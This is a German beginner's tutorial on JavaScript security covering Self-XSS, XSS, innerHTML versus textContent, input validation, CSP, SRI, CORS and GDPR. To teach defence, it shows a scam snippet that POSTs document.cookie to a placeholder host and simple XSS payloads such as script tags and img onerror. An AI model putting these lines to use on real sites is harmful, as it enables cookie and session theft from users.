JavaScript Sicherheit

Ist JavaScript gefährlich? Was bedeutet die Warnung in der Console? Und wie schreibe ich sicheren Code?

Warum dieses Tutorial wichtig ist

Als ich die DevTools zum ersten Mal geöffnet habe, stand da eine riesige Warnung mit "STOP!" - ziemlich beängstigend. Aber was bedeutet das eigentlich? Und wann muss ich mir als Entwickler Sorgen machen? Hier dokumentiere ich, was ich über JavaScript-Sicherheit gelernt habe - ohne unnötige Panik, aber mit den wichtigen Facts.

Die Console-Warnung: Was ist Self-XSS?

Wenn du die Browser-Console öffnest (F12), siehst du oft eine Warnung wie diese:

⚠️ STOP!

"This is a browser feature intended for developers. If someone told you to copy and paste something here to enable a feature or hack someone's account, it is a scam and will give them access to your account."

Was ist das?

Das ist eine Warnung vor Self-XSS (Self Cross-Site Scripting). Dabei werden Leute durch Social Engineering dazu gebracht, selbst bösartigen Code in die Console einzugeben.

Wie funktioniert der Betrug?

javascript
//Beispiel eines Betrugs
// Jemand schickt dir: "Drücke F12 und füge das ein für gratis Features!"
document.cookie;  // Könnte deine Cookies stehlen
// oder
fetch('https://boese-seite.com/steal', {
    method: 'POST',
    body: JSON.stringify({cookies: document.cookie})
});
Die Regel

Füge NIE Code in die Browser-Console ein, den dir jemand geschickt hat - egal wie vertrauenswürdig die Person scheint. Selbst wenn es von einem "Facebook-Freund" kommt oder "gratis Features" verspricht.

Betrifft mich das als Entwickler?

Diese Warnung ist für die Nutzer deiner Website, nicht für dich als Entwickler. Du kannst die Console weiterhin normal zum Debuggen verwenden. Die Warnung soll verhindern, dass unwissende User ausgetrickst werden.

Was kann JavaScript eigentlich?

Um zu verstehen, wo Gefahren lauern, müssen wir wissen, was JavaScript kann und was nicht:

Was JavaScript KANN:

  • DOM manipulieren - Inhalte der aktuellen Seite ändern, hinzufügen, löschen
  • Cookies lesen/schreiben - Session-Daten, Login-Tokens (wenn nicht httpOnly)
  • LocalStorage/SessionStorage - Daten im Browser speichern und lesen
  • HTTP-Requests senden - Daten an Server schicken (fetch, XMLHttpRequest)
  • Events abfangen - Tastatureingaben, Klicks aufzeichnen
  • Formulardaten lesen - Passwörter, Kreditkarten-Infos vor dem Absenden
  • Redirects - Nutzer auf andere Seiten umleiten
  • Browser-Infos auslesen - User Agent, Bildschirmgröße, etc.

Was JavaScript NICHT KANN:

  • Auf deine Dateien zugreifen - Keine Zugriff auf dein Dateisystem (außer explizit hochgeladene Files)
  • Andere Tabs/Fenster kontrollieren - Nur das eigene Fenster (Same-Origin Policy)
  • Server-Code ausführen - Läuft nur im Browser, nicht auf dem Server
  • Browser-Einstellungen ändern - Keine Kontrolle über Browser-Konfiguration
  • Viren installieren - Kann keine Programme auf deinem Computer installieren
  • Cross-Domain Cookies lesen - Nur Cookies der eigenen Domain
Meine Erkenntnis

JavaScript läuft in einer "Sandbox" im Browser - es ist ziemlich eingeschränkt. Die Gefahr kommt meist durch falsche Verwendung oder Social Engineering, nicht durch JavaScript selbst.

XSS - Cross-Site Scripting

XSS ist die häufigste und gefährlichste Sicherheitslücke bei JavaScript. Dabei wird fremder Code auf deiner Website ausgeführt.

Wie funktioniert XSS?

Ein Angreifer schafft es, eigenen JavaScript-Code in deine Website einzuschleusen - meist über User-Input, der nicht richtig überprüft wird.

Beispiel - UNSICHERE Kommentarfunktion
// GEFÄHRLICH!
let userComment = "<script>alert('Gehackt!')</script>";
document.getElementById("comments").innerHTML = userComment;

// Der Script-Tag wird ausgeführt!

Problem: Wenn ein User einen <script>-Tag in den Kommentar schreibt, wird dieser ausgeführt! Der Angreifer könnte Cookies stehlen, Formulardaten abfangen oder die Seite manipulieren.

Beispiel - SICHERE Kommentarfunktion
// SICHER!
let userComment = "<script>alert('Gehackt!')</script>";
document.getElementById("comments").textContent = userComment;

// Der Text wird angezeigt, aber NICHT als Code ausgeführt!

Lösung: textContent statt innerHTML verwenden! Der Script-Tag wird als normaler Text angezeigt, nicht ausgeführt.

Arten von XSS

1. Stored XSS (Persistent) - Bösartiger Code wird in der Datenbank gespeichert (z.B. in Kommentaren) und allen Usern angezeigt.

2. Reflected XSS - Code wird in der URL übergeben und sofort ausgeführt (z.B. seite.html?search=<script>...</script>)

3. DOM-based XSS - Code manipuliert direkt das DOM, ohne Server-Beteiligung.

innerHTML vs. textContent - Der Unterschied ist wichtig!

SICHER - textContent
// Zeigt nur Text, kein Code!
element.textContent = userInput;

Wann verwenden: Immer bei User-Input! Code wird nicht ausgeführt.

UNSICHER - innerHTML
// Führt HTML/JavaScript aus!
element.innerHTML = userInput;

Wann verwenden: Nur mit vertrauenswürdigen Daten, NIE mit User-Input!

Praktisches Beispiel

JavaScript
let userName = "<img src=x onerror='alert(\"XSS\")'>";

// FALSCH - führt das img-onerror aus
document.getElementById("greeting").innerHTML = "Hallo " + userName;

// RICHTIG - zeigt den Text, führt nichts aus
document.getElementById("greeting").textContent = "Hallo " + userName;
Faustregel

Wenn du User-Input anzeigst, verwende immer textContent oder innerText.

innerHTML nur für deinen eigenen, kontrollierten HTML-Code!

Input Validation - User-Eingaben überprüfen

Vertraue niemals blind auf User-Input - weder im Frontend noch im Backend!

Was sollte validiert werden?

  • Datentyp - Ist es wirklich eine Zahl, E-Mail, URL?
  • Länge - Nicht zu kurz, nicht zu lang?
  • Format - Entspricht es dem erwarteten Muster?
  • Erlaubte Zeichen - Keine Script-Tags, SQL-Befehle, etc.

Beispiel - E-Mail validieren

JavaScript
function istGueltigeEmail(email) {
    // Einfache Regex für E-Mail-Format
    const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
    
    // Länge prüfen
    if (email.length > 254) return false;
    
    // Format prüfen
    return emailRegex.test(email);
}

// Verwendung
let userEmail = document.getElementById("email").value;

if (istGueltigeEmail(userEmail)) {
    console.log("E-Mail ist gültig");
} else {
    console.log("Ungültige E-Mail!");
}

Beispiel - HTML-Tags entfernen (Sanitization):

JavaScript
function entferneHTML(text) {
    // Erstelle ein temporäres Element
    let temp = document.createElement('div');
    temp.textContent = text;
    return temp.innerHTML;
}

// Oder einfacher:
function entferneHTML(text) {
    return text
        .replace(/</g, "&lt;")
        .replace(/>/g, "&gt;");
}

// Verwendung
let userInput = "<script>alert('XSS')</script>";
let saubererText = entferneHTML(userInput);
console.log(saubererText);  // "&lt;script&gt;alert('XSS')&lt;/script&gt;"
Wichtig

Validation im Frontend ist nur für die User Experience! Die echte Sicherheitsprüfung muss auf dem Server passieren. Frontend-Code kann immer umgangen werden (DevTools, Postman, etc.).

Sichere vs. Unsichere Methoden

Eine Übersicht, welche JavaScript-Methoden sicher sind und welche Vorsicht erfordern:

Grundsätzlich sicher
  • textContent - Zeigt Text ohne HTML-Ausführung
  • innerText - Ähnlich wie textContent
  • setAttribute() - Sicher für die meisten Attribute
  • classList.add/remove() - Klassennamen sind sicher
  • createElement() - Erstellt Elemente sicher
  • console.log() - Debugging ist sicher
Mit Vorsicht verwenden
  • innerHTML - Nur mit vertrauenswürdigen Daten!
  • outerHTML - Gleiche Gefahr wie innerHTML
  • document.write() - Veraltet und gefährlich
  • eval() - Führt String als Code aus - NIEMALS mit User-Input!
  • setTimeout/setInterval mit Strings - Wie eval, vermeiden!
  • new Function() - Ähnlich wie eval
  • onclick-Attribute in HTML - Trennung von Struktur und Verhalten
NIEMALS verwenden (mit User-Input)
// NIEMALS machen!
eval(userInput);                          // Führt beliebigen Code aus
new Function(userInput)();                // Gleiche Gefahr
setTimeout(userInput, 1000);              // String wird als Code ausgeführt
element.innerHTML = "<img src='" + userInput + "'>";  // XSS möglich

Best Practices für sicheres JavaScript

Was ich bei der JavaScript-Entwicklung verinnerliche und beachte:

  • Niemals User-Input vertrauen - Immer validieren, immer sanitizen
  • textContent statt innerHTML - Bei User-generierten Inhalten
  • CSP verwenden - Content Security Policy im HTTP-Header
  • httpOnly Cookies - Session-Cookies sollten nicht von JavaScript lesbar sein
  • HTTPS verwenden - Verschlüsselte Verbindung immer
  • Bibliotheken aktuell halten - Alte Versionen haben oft Sicherheitslücken
  • Passwörter niemals im Frontend speichern - Weder in Variables noch LocalStorage
  • Sensitive Daten nicht loggen - Keine Passwörter in console.log()
  • Event Listener statt Inline-Events - addEventListener() ist sicherer
  • Same-Origin Policy beachten - CORS richtig konfigurieren

Content Security Policy (CSP)

CSP ist ein HTTP-Header, der definiert, welche Ressourcen deine Website laden darf. Das verhindert viele XSS-Angriffe.

Wie funktioniert CSP?

Der Server sendet einen Header mit Regeln, z.B.:

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com

Das bedeutet:

  • default-src 'self' - Alle Ressourcen nur von der eigenen Domain
  • script-src 'self' https://trusted.cdn.com - JavaScript nur von eigener Domain und diesem CDN

Wichtige CSP-Direktiven:

http
Content-Security-Policy:
    default-src 'self';                    /* Standard: nur eigene Domain */
    script-src 'self' 'unsafe-inline';     /* JavaScript-Quellen */
    style-src 'self' 'unsafe-inline';      /* CSS-Quellen */
    img-src 'self' data: https:;           /* Bild-Quellen */
    font-src 'self' data:;                 /* Font-Quellen */
    connect-src 'self';                    /* fetch/XHR-Ziele */
    frame-src 'none';                      /* iframes verbieten */
Vorsicht mit 'unsafe-inline'

Das erlaubt Inline-JavaScript/CSS und schwächt die Sicherheit.

Besser: Externe Dateien verwenden und 'unsafe-inline' weglassen.

Was bedeutet "inline" genau?

Das war mir am Anfang nicht ganz klar, hat es mit der *.js zu tun? Nein, genau das, was ich befürchtet hatte: "Inline" bedeutet, dass CSS oder JavaScript direkt im HTML-Dokument steht, statt in separaten Dateien.

Inline CSS - Drei Varianten

html
<!-- 1. Style-Tag im <head> - IST INLINE! -->
<style>
    .meine-klasse {
        color: red;
    }
</style>

<!-- 2. Style-Attribut im Element - IST INLINE! -->
<p style="color: red;">Roter Text</p>

<!-- 3. Externe CSS-Datei - NICHT INLINE -->
<link rel="stylesheet" href="css/style.css">

Puh. Nicht "mal eben" zurechtschubsen, wenn dir hier und da ein Pixel fehlt. Schade drum! Aber okay. Es macht sich ja auch nicht so schick. Na gut, dann wohl Augen zu und durch.

Inline JavaScript - Drei Varianten

html
<!-- 1. Script-Tag im HTML - IST INLINE! -->
<script>
    console.log('Hallo');
</script>

<!-- 2. Event-Attribute im Element - IST INLINE! -->
<button onclick="alert('Hallo')">Klick</button>

<!-- 3. Externe JS-Datei - NICHT INLINE -->
<script src="js/script.js"></script>

Was blockiert CSP ohne 'unsafe-inline'?

Wenn dein CSP-Header so aussieht:

Content-Security-Policy: style-src 'self'; script-src 'self';

...dann blockiert der Browser:

  • Alle <style>-Tags im HTML, auch im <head> !
  • Alle style="..." Attribute
  • Alle <script>-Tags im HTML
  • Alle onclick="...", onerror="..." etc. Attribute

Erlaubt sind nur:

  • <link rel="stylesheet" href="css/style.css">
  • <script src="js/script.js"></script>

Warum ist 'unsafe-inline' unsicher?

Wenn du 'unsafe-inline' erlaubst, kann auch ein Angreifer inline-Code einschleusen:

Ohne 'unsafe-inline' - Sicher
// CSP verbietet inline
// Angreifer versucht das gleiche:
element.innerHTML = 
  "<img src=x onerror='stealCookies()'>";

// → Browser blockiert onerror!
Mit 'unsafe-inline' - Angreifbar!
// CSP erlaubt 'unsafe-inline'
// Angreifer schleust ein:
element.innerHTML = 
  "<img src=x onerror='stealCookies()'>";

// → onerror läuft, weil inline erlaubt!

Was heißt das jetzt - keine inline Styles?

Meine Situation: Ich würde gerne in meinen Tutorials hier und da <style> im <head> für tutorial-spezifische Styles verwenden, AUCH damit es im Quellcode für jeden sofort sichtbar ist - ich teile ja gerne, was ich hier erarbeite. Das ist technisch "inline CSS".

Ist das ein Problem?

Bei mir: in den meisten Fällen nein. Aber beachte:

  • Bei statischen Tutorials ohne User-Input: geringes Risiko
  • Bei interaktiven Seiten mit User-Input: sollte ausgelagert werden

Best Practice für Production:

  • Alle Styles in externe CSS-Dateien, z.B. css/tutorial-demos.css
  • Alle Scripts in externe JS-Dateien
  • CSP ohne 'unsafe-inline' konfigurieren
  • Niemals onclick="..." oder style="..." Attribute verwenden
  • Immer addEventListener() in externen JS-Dateien nutzen

Alternative mit Nonce: Wenn du aber wirklich inline-Code brauchst, kannst du statt 'unsafe-inline' einen Nonce verwenden. Das ist ein einmaliger, zufälliger Wert, der vom Server generiert wird:

HTML
<!-- HTTP-Header -->
Content-Security-Policy: script-src 'nonce-abc123xyz'

<!-- HTML -->
<script nonce="abc123xyz">
    // Nur dieser spezifische Script-Block wird erlaubt
    console.log('Erlaubt!');
</script>

<script>
    // Dieser wird blockiert (kein Nonce)
    console.log('Blockiert!');
</script>

Das verhindert, dass Angreifer eigenen inline-Code einschleusen können, weil sie den zufälligen Nonce nicht kennen.

Meine Erfahrung

CSP kann am Anfang frustrierend sein, weil vieles nicht mehr funktioniert. Aber es ist eine der effektivsten Schutzmaßnahmen gegen XSS. Ich empfehle, CSP schon beim Projektstart zu aktivieren, nicht erst später. Ich halte mich jetzt strikt daran und räume meine Pixelschubser auf!

Subresource Integrity (SRI)

Wenn du externe Scripts von CDNs lädst, kann SRI sicherstellen, dass die Datei nicht manipuliert wurde:

HTML
<!-- Ohne SRI - unsicher -->
<script src="https://cdn.example.com/lib.js"></script>

<!-- Mit SRI - sicher -->
<script 
    src="https://cdn.example.com/lib.js"
    integrity="sha384-abc123..."
    crossorigin="anonymous">
</script>

Der Browser prüft den Hash der Datei. Wurde sie verändert, wird sie nicht ausgeführt.

Wann SRI verwenden?

Bei allen externen Scripts und Stylesheets von CDNs. Viele CDNs liefern den SRI-Hash direkt mit - einfach kopieren!

Same-Origin Policy und CORS

Browser blockieren standardmäßig Requests zu anderen Domains - das ist die Same-Origin Policy.

JavaScript
// Von meineseite.de zu api.andereseite.de
fetch('https://api.andereseite.de/data')
    .then(res => res.json());
// → Wird blockiert, außer der Server erlaubt es via CORS

CORS (Cross-Origin Resource Sharing) ist die kontrollierte Ausnahme: Der Server kann bestimmte Domains erlauben.

Für dich als Frontend-Entwickler

CORS-Fehler bedeuten meist: Der Server muss konfiguriert werden, nicht dein JavaScript. Du kannst CORS nicht vom Frontend aus "umgehen" - das ist Absicht!

DSGVO und JavaScript

JavaScript und Datenschutz - was muss ich beachten?

Was speichert JavaScript?

  • Cookies - Können personenbezogene Daten enthalten
  • LocalStorage - Bleibt auch nach Browser-Schließung
  • SessionStorage - Nur für die aktuelle Session
  • IndexedDB - Große Datenmengen lokal speichern

DSGVO-konforme Verwendung

  • Consent einholen - Bevor Cookies/Tracking gesetzt werden
  • Notwendige vs. optionale Cookies trennen - Funktionale Cookies sind ok, Tracking braucht Zustimmung
  • Cookie-Banner implementieren - Mit echter Wahl, nicht "Akzeptieren oder gehen"
  • Daten minimieren - Nur speichern, was wirklich nötig ist
  • Keine personenbezogenen Daten ohne Consent - IP-Adressen, User IDs, etc.
  • Löschung ermöglichen - User müssen ihre Daten löschen können

Beispiel - Consent-Check

javascript
// Prüfe ob Consent gegeben wurde
function hatConsentFuerTracking() {
    return localStorage.getItem('trackingConsent') === 'true';
}

// Nur Tracking laden, wenn erlaubt
if (hatConsentFuerTracking()) {
    // Lade Analytics-Script
    console.log("Tracking aktiv");
} else {
    console.log("Kein Tracking ohne Consent");
}
Warum ich das wichtig finde

DSGVO ist nicht nur ein lästiges Gesetz - es schützt die Privatsphäre der User. Als Entwickler habe ich die Verantwortung, Daten respektvoll zu behandeln. Und es ist auch technisch interessant, Privacy by Design zu implementieren!

Wann muss ich mir Sorgen machen?

Zusammengefasst: In welchen Situationen ist besondere Vorsicht geboten?

Hohe Gefahr
  • Du verwendest User-Input ohne Validierung in innerHTML
  • Du verwendest eval() mit externen Daten
  • Du speicherst Passwörter/Tokens im Frontend
  • Deine Website hat keine CSP
  • Du verwendest veraltete Bibliotheken mit bekannten Lücken
  • Du lädst externe Scripts von nicht vertrauenswürdigen Quellen
Mittlere Gefahr
  • Du verwendest innerHTML mit teilweise kontrollierten Daten
  • Du hast keine HTTPS-Verbindung
  • Du validierst nur im Frontend, nicht auf dem Server
  • Deine Session-Cookies sind nicht httpOnly
  • Du verwendest Inline-JavaScript (onclick="...")
Niedrige Gefahr / Sicher
  • Du verwendest textContent für User-Input
  • Du hast CSP aktiv
  • Alle Eingaben werden validiert (Frontend UND Backend)
  • Du verwendest HTTPS
  • Du sanitizest HTML vor der Ausgabe
  • Deine Dependencies sind aktuell
  • Du lädst externe Ressourcen von vertrauenswürdigen CDNs

Checkliste für jedes Projekt

Was ich bei meinen JavaScript-Projekt durchgehe

Vor dem Launch
  • Verwende ich irgendwo innerHTML mit User-Input? → Ersetzen durch textContent
  • Habe ich User-Input validiert (Frontend UND Backend)?
  • Sind alle externen Scripts von vertrauenswürdigen Quellen?
  • Habe ich CSP-Header konfiguriert?
  • Läuft die Seite über HTTPS?
  • Sind Session-Cookies auf httpOnly gesetzt?
  • Werden sensitive Daten (Passwörter, Tokens) nur auf dem Server verarbeitet?
  • Sind alle NPM-Pakete aktuell? (npm audit)
  • Habe ich DSGVO-Consent für Cookies implementiert?
  • Gibt es Inline-JavaScript, das ich in externe Dateien verschieben kann?

Fazit: Keine Panik, aber wachsam bleiben

Was ich gelernt habe:

JavaScript ist nicht von Natur aus gefährlich - die Gefahr entsteht durch falsche Verwendung. Die Console-Warnung ist nicht für mich als Entwickler, sondern für unwissende User.

Die wichtigsten Regeln sind simpel

  • User-Input immer mit textContent ausgeben, nie mit innerHTML
  • Input validieren - Frontend UND Backend
  • Niemals eval() mit User-Daten verwenden
  • CSP aktivieren
  • HTTPS verwenden
  • Dependencies aktuell halten

Das klingt nach viel, aber wenn man von Anfang an diese Prinzipien befolgt, wird es zur Gewohnheit. Und dann kann man JavaScript sicher und produktiv einsetzen - ohne DevPanic!

Mehr aus JavaScript

Tutorials werden geladen...